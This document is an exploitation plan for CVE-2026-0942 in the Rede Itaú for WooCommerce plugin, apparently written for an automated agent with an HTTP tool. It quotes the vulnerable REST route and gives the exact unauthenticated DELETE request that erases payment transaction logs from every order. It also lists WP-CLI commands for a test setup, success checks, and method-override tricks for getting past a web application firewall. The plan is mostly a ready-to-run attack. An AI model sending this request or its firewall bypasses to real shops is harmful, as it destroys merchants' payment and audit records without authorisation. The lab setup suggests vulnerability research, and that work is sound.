Exploitation Research Plan: CVE-2026-0942

1. Vulnerability Summary

The Rede Itaú for WooCommerce plugin (versions <= 5.1.5) contains a missing authorization vulnerability in its REST API implementation. The plugin registers a custom REST route redeIntegration/clearOrderLogs with a permission_callback set to __return_true. This allows any unauthenticated user to trigger the clearOrderLogs() function, which deletes the lknWcRedeOrderLogs metadata from all WooCommerce orders. This metadata typically contains transaction logs and payment records essential for order auditing and debugging.

2. Attack Vector Analysis

• Endpoint: /wp-json/redeIntegration/clearOrderLogs
• HTTP Method: DELETE
• Authentication: None (Unauthenticated)
• Permissions: None (Bypassed via permission_callback => '__return_true')
• Payload: None required.
• Preconditions: The plugin must be active, and WooCommerce must be installed. For the exploit to be "successful" in a visible way, orders with the meta key lknWcRedeOrderLogs must exist.

3. Code Flow

1. Registration: In Includes/LknIntegrationRedeForWoocommerceWcEndpoint.php, the function registerorderRedeCaptureEndPoint() is called (likely during rest_api_init).
2. Route Definition:

   register_rest_route('redeIntegration', '/clearOrderLogs', array(
       'methods' => 'DELETE',
       'callback' => array($this, 'clearOrderLogs'),
       'permission_callback' => '__return_true', // Vulnerability: No auth check
   ));
   

3. Sink: When the endpoint is hit, clearOrderLogs($request) is executed:

   public function clearOrderLogs($request)
   {
       $args = array(
           'limit' => -1,
           'meta_key' => 'lknWcRedeOrderLogs',
           'meta_compare' => 'EXISTS',
       );
       $orders = wc_get_orders($args); // Fetches all orders with logs
       foreach ($orders as $order) {
           $order->delete_meta_data('lknWcRedeOrderLogs'); // Deletes the logs
           $order->save();
       }
       return new WP_REST_Response($orders, 200);
   }
   

4. Nonce Acquisition Strategy

The WordPress REST API enforces nonce verification only if the request uses Cookie-based authentication (to prevent CSRF). For unauthenticated requests to a route where permission_callback returns true, no nonce is required by default.

Since the goal is unauthenticated exploitation:

• No Nonce Needed: The request will be sent without cookies.
• Bypass Check: Even if the plugin attempted to check a nonce, it does not do so inside the clearOrderLogs function.

5. Exploitation Strategy

The attack will be executed using the http_request tool to perform an unauthenticated DELETE request.

Step-by-Step Plan:

1. Preparation: Ensure an order exists with the target metadata.
2. Request: Send a DELETE request to the target endpoint.
3. Headers: Use Content-Type: application/json.
4. Verification: Check if the metadata was removed from the order.

HTTP Request Payload:

DELETE /wp-json/redeIntegration/clearOrderLogs HTTP/1.1
Host: TARGET_HOST
Content-Type: application/json
Connection: close

6. Test Data Setup

To demonstrate the impact, we must populate the database with an order containing the specific meta key.

WP-CLI Commands:

1. Create a customer (optional):
   wp user create victim victim@example.com --role=customer
2. Create a WooCommerce Order:
   wp wc shop_order create --user=1 --status=processing --porcelain (Save the ID, e.g., 123)
3. Add the sensitive Meta Key:
   wp post meta add 123 lknWcRedeOrderLogs '{"tid": "12345", "status": "approved", "log": "Sensitive payment data"}'
4. Verify Setup:
   wp post meta get 123 lknWcRedeOrderLogs

7. Expected Results

• HTTP Response: A 200 OK status. The body will contain a JSON array of the order objects that were modified (as returned by WP_REST_Response($orders, 200)).
• Database Change: The record for lknWcRedeOrderLogs associated with the order ID will be deleted from the wp_postmeta (or wp_wc_orders_meta) table.

8. Verification Steps

After sending the DELETE request, verify the deletion using WP-CLI:

1. Attempt to fetch the meta key for the target order:
   wp post meta get 123 lknWcRedeOrderLogs
2. Check Output:
   • If the command returns empty or an error stating the meta key does not exist, the exploit was successful.
   • If it returns the JSON log data, the exploit failed.

9. Alternative Approaches

If the DELETE method is blocked by a server-side firewall (WAF) or server configuration:

1. Method Overriding: Try sending a POST request with the header X-HTTP-Method-Override: DELETE.
2. Parameter Overriding: Try sending a POST request with the query parameter ?_method=DELETE.
   • POST /wp-json/redeIntegration/clearOrderLogs?_method=DELETE

If the REST API root is restricted:

• Check if other registered routes like /wp-json/redeIntegration/verifyPixRedeStatus (GET) are also accessible, confirming a wider authorization failure within the LknIntegrationRedeForWoocommerceWcEndpoint class.